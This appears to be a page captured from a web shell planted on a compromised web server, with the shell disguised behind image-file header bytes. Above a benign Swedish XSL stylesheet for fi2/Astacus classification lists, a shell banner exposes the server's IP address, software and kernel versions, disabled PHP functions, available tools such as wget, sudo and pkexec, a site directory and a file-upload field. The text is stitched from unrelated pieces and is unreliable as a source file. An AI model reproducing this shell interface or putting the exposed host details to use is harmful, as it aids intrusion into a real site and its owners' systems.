????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.217.84 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/fi2/valuelists/1225/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:variable name="datatyper" select="document('http://www.astacus.se/fi2/valuelists/CA000_004_001.xml')//list-item"/>
<xsl:template match="document">
<html>
<head>
<title>
<xsl:value-of select="metadata/identity"/>
</title>
<style type="text/css">span.infoRubrik {font-family:verdana;font-size:11px;font-weight:bold}
span.infoText {font-family:verdana;font-size:11px}
th {font-family:verdana;font-size:11px;font-weight:bold;background-color:lightgray;text-align:center;padding:2px}
td {font-family:verdana;font-size:11px;padding:2px}
table {border-style:none;border-collapse:collapse}
table:huvud {border-style:none;padding:2px}
td:huvud {padding:2px}</style>
</head>
<body>
<p>
<img src="http://www.astacus.se/fi2/logos/logo_Astacus_head.png" height="50"/>
</p>
<br/>
<br/>
<table class="huvud">
<tbody>
<tr>
<td class="huvud">
<span class="infoRubrik">ListID: </span>
<span class="infoText">
<xsl:value-of select="metadata/identity"/>
</span>
</td>
</tr>
<tr>
<td class="huvud">
<span class="infoRubrik">Benämning: </span>
<span class="infoText">
<xsl:value-of select="metadata/description"/>
</span>
</td>
</tr>
<tr>
<td class="huvud">
<span class="infoRubrik">Version: </span>
<span class="infoText">
<xsl:value-of select="metadata/version"/>
</span>
</td>
</tr>
<tr>
<td class="huvud">
<span class="infoRubrik">Publiceringsdatum: </span>
<span class="infoText">
<xsl:value-of select="metadata/date"/>
</span>
</td>
</tr>
<tr>
<td class="huvud">
<span class="infoRubrik">Publicerat av: </span>
<span class="infoText">
<xsl:value-of select="metadata/author/name"/>
</span>
</td>
</tr>
</tbody>
</table>
<br/>
<table border="1">
<tbody>
<tr>
<th>Klasskod (code)</th>
<th>Benämning (name)</th>
<th>Beskrivning (trans desc)</th>
<th>Eng beskr (descr)</th>
<th>Datatyp (datatype)</th>
<th>Refererad klasslista</th>
<th>Refererad klass</th>
<th>URL ref klasslista</th>
</tr>
<xsl:apply-templates select="validationlist/validationlistx"/>
<xsl:apply-templates select=".//list-item"/>
</tbody>
</table>
</body>
</html>
</xsl:template>
<xsl:template match="validationlist">
<xsl:variable name="fullkod2">
<xsl:for-each select="ancestor-or-self::validationlist">
<xsl:value-of select="normalize-space(list-value)"/>
</xsl:for-each>
</xsl:variable>
<tr>
<td>
<xsl:value-of select="$fullkod2"/>
</td>
<td>
<xsl:value-of select="list-description"/>
</td>
<td>
<xsl:for-each select="list-definition">
<xsl:value-of select="."/>
<br/>
</xsl:for-each>
</td>
<td/>
<td/>
<td/>
<td/>
<td/>
</tr>
<xsl:apply-templates select="validationlist"/>
<xsl:apply-templates select="list-item"/>
</xsl:template>
<xsl:template match="list-item">
<xsl:variable name="datatypid" select="item-datatype"/>
<xsl:variable name="datatyp" select="$datatyper[item-value=$datatypid]/item-description"/>
<tr>
<td>
<xsl:value-of select="item-value"/>
</td>
<td>
<xsl:value-of select="item-description"/>
</td>
<td>
<xsl:for-each select="item-definition">
<xsl:value-of select="."/>
<br/>
</xsl:for-each>
</td>
<td/>
<td>
<xsl:value-of select="$datatyp"/>
</td>
<xsl:choose>
<xsl:when test="count(item-referencelist/item-referenceitem) > 0">
<xsl:variable name="referenspost" select="item-referencelist/item-referenceitem[1]"/>
<xsl:variable name="referenslistaid" select="$referenspost/fi2reference_id"/>
<xsl:variable name="referenslista" select="//fi2referencelist_item[fi2reference_id=$referenslistaid]"/>
<td>
<xsl:value-of select="$referenslistaid"/>
</td>
<td>
<xsl:value-of select="$referenspost/item-referencevalue"/>
</td>
<td>
<a href="{$referenslista/fi2reference_link}">
<xsl:value-of select="$referenslista/fi2reference_name"/>
</a>
</td>
</xsl:when>
<xsl:otherwise>
<td/>
<td/>
<td/>
</xsl:otherwise>
</xsl:choose>
<xsl:apply-templates select="item-referencelist/item-referenceitem[position() > 1]"/>
</tr>
</xsl:template>
<xsl:template match="item-referenceitem">
<xsl:variable name="referenslistaid" select="fi2reference_id"/>
<xsl:variable name="referenslista" select="//fi2referencelist_item[fi2reference_id=$referenslistaid]"/>
<tr>
<td/>
<td/>
<td/>
<td/>
<td/>
<td>
<xsl:value-of select="fi2reference_id"/>
</td>
<td>
<xsl:value-of select="item-referencevalue"/>
</td>
<td>
<a href="{$referenslista/fi2reference_link}">
<xsl:value-of select="$referenslista/fi2reference_link"/>
</a>
</td>
</tr>
</xsl:template>
<xsl:template match="fi2classcontainer">
<xsl:variable name="listnamn">
<xsl:value-of select="concat(fi2classlist_metadata/fi2classlist_identity,fi2classlist_metadata/fi2classlist)"/>
</xsl:variable>
<html>
<head>
<title>
<xsl:value-of select="fi2classlist_metadata/fi2classlist_identity"/>
</title>
<style type="text/css">span.infoRubrik {font-family:verdana;font-size:11px;font-weight:bold}
span.infoText {font-family:verdana;font-size:11px}
th {font-family:verdana;font-size:11px;font-weight:bold;background-color:lightgray;text-align:center;padding:2px}
td {font-family:verdana;font-size:11px;padding:2px}
table {border-style:none;border-collapse:collapse}
table:huvud {border-style:none;padding:2px}
td:huvud {padding:2px}</style>
</head>
<body>
<p>
<img src="http://www.fi2.se/graphics/logos/logo.gif" height="70"/>
</p>
<br/>
<br/>
<table class="huvud">
<tbody>
<tr>
<td>
<span class="infoRubrik">ListID: </span>
<span class="infoText">
<xsl:value-of select="fi2classlist_metadata/fi2classlist_identity"/>
</span>
</td>
</tr>
<tr>
<td>
<span class="infoRubrik">Benämning: </span>
<span class="infoText">
<xsl:value-of select="fi2classlist_metadata/fi2classlist_name"/>
</span>
</td>
</tr>
<tr>
<td>
<span class="infoRubrik">Version: </span>
<span class="infoText">
<xsl:value-of select="fi2classlist_metadata/fi2classlist_version"/>
</span>
</td>
</tr>
<tr>
<td>
<span class="infoRubrik">Publiceringsdatum: </span>
<span class="infoText">
<xsl:value-of select="fi2classlist_metadata/fi2classlist_date"/>
</span>
</td>
</tr>
<tr>
<td>
<span class="infoRubrik">Publicerat av: </span>
<span class="infoText">
<xsl:value-of select="fi2classlist_metadata/fi2classlist_author/fi2classlist_authorname"/>
</span>
</td>
</tr>
</tbody>
</table>
<br/>
<table border="1">
<tbody>
<tr>
<th>Klasskod (code)</th>
<th>Benämning (name)</th>
<th>Beskrivning (trans desc)</th>
<th>Eng beskr (descr)</th>
<th>Datatyp (datatype)</th>
<th>Refererad klasslista</th>
<th>Refererad klass</th>
<th>URL ref klasslista</th>
</tr>
<xsl:apply-templates select="fi2classlist_list"/>
</tbody>
</table>
</body>
</html>
</xsl:template>
<xsl:template match="fi2classlist_list">
<xsl:variable name="fullkod">
<xsl:call-template name="sammanslagenkod">
<xsl:with-param name="aktuell_list" select="."/>
</xsl:call-template>
</xsl:variable>
<xsl:variable name="fullkod2">
<xsl:for-each select="ancestor-or-self::fi2classlist_list">
<xsl:value-of select="normalize-space(fi2classlist_code)"/>
</xsl:for-each>
</xsl:variable>
<tr>
<td>
<xsl:value-of select="$fullkod2"/>
</td>
<td>
<xsl:value-of select="fi2classlist_name"/>
</td>
<td>
<xsl:value-of select="fi2classlist_descr[@lang='sv']"/>
</td>
<td>
<xsl:value-of select="fi2classlist_descr[@lang='en']"/>
</td>
<td/>
<td/>
<td/>
<td/>
</tr>
<xsl:apply-templates select="fi2classlist_list"/>
<xsl:apply-templates select="fi2classlist_item"/>
</xsl:template>
<xsl:template match="fi2classlist_item">
<xsl:variable name="datatypid" select="fi2class_dataformat"/>
<xsl:variable name="datatyp" select="$datatyper[item-value=$datatypid]/item-description"/>
<xsl:variable name="fullkod">
<xsl:call-template name="sammanslagenkod">
<xsl:with-param name="aktuell_list" select="."/>
</xsl:call-template>
</xsl:variable>
<xsl:variable name="fullkod2">
<xsl:for-each select="ancestor::fi2classlist_list">
<xsl:value-of select="normalize-space(fi2classlist_code)"/>
</xsl:for-each>
<xsl:value-of select="normalize-space(fi2class_code)"/>
</xsl:variable>
<tr>
<td>
<xsl:value-of select="$fullkod2"/>
</td>
<td>
<xsl:value-of select="fi2class_name"/>
</td>
<td>
<xsl:value-of select="fi2class_descr[@lang='sv']"/>
</td>
<td>
<xsl:value-of select="fi2class_descr[@lang='en']"/>
</td>
<td>
<xsl:value-of select="$datatyp"/>
</td>
<xsl:choose>
<xsl:when test="count(fi2class_referencelist/fi2class_referenceitem) > 0">
<xsl:variable name="referenspost" select="fi2class_referencelist/fi2class_referenceitem[1]"/>
<xsl:variable name="referenslistaid" select="$referenspost/fi2reference_id"/>
<xsl:variable name="referenslista" select="//fi2referencelist_item[fi2reference_id=$referenslistaid]"/>
<td>
<xsl:value-of select="$referenslistaid"/>
</td>
<td>
<xsl:value-of select="$referenspost/fi2class_referencevalue"/>
</td>
<td>
<a href="{$referenslista/fi2reference_link}">
<xsl:value-of select="$referenslista/fi2reference_name"/>
</a>
</td>
</xsl:when>
<xsl:otherwise>
<td/>
<td/>
<td/>
</xsl:otherwise>
</xsl:choose>
<xsl:apply-templates select="fi2class_referencelist/fi2class_referenceitem[position() > 1]"/>
</tr>
</xsl:template>
<xsl:template match="fi2class_referenceitem">
<xsl:variable name="referenslistaid" select="fi2reference_id"/>
<xsl:variable name="referenslista" select="//fi2referencelist_item[fi2reference_id=$referenslistaid]"/>
<tr>
<td/>
<td/>
<td/>
<td/>
<td/>
<td>
<xsl:value-of select="fi2reference_id"/>
</td>
<td>
<xsl:value-of select="fi2class_referencevalue"/>
</td>
<td>
<a href="{$referenslista/fi2reference_link}">
<xsl:value-of select="$referenslista/fi2reference_link"/>
</a>
</td>
</tr>
</xsl:template>
<xsl:template name="sammanslagenkod">
<xsl:param name="aktuell_list"/>
<xsl:param name="aktuell_kod"/>
<xsl:variable name="denna_kod">
<xsl:choose>
<xsl:when test="local-name($aktuell_list) = 'fi2classlist_list'">
<xsl:value-of select="$aktuell_list/fi2classlist_code"/>
</xsl:when>
<xsl:otherwise>
<xsl:value-of select="$aktuell_list/fi2class_code"/>
</xsl:otherwise>
</xsl:choose>
</xsl:variable>
<xsl:variable name="sammanslagen_kod" select="concat(normalize-space($denna_kod),$aktuell_kod)"/>
<xsl:choose>
<xsl:when test="$aktuell_list/ancestor::fi2classlist_list">
<xsl:call-template name="sammanslagenkod">
<xsl:with-param name="aktuell_list" select="$aktuell_list/ancestor::fi2classlist_list[1]"/>
<xsl:with-param name="aktuell_kod" select="$sammanslagen_kod"/>
</xsl:call-template>
</xsl:when>
<xsl:otherwise>
<xsl:value-of select="$sammanslagen_kod"/>
</xsl:otherwise>
</xsl:choose>
</xsl:template>
</xsl:stylesheet>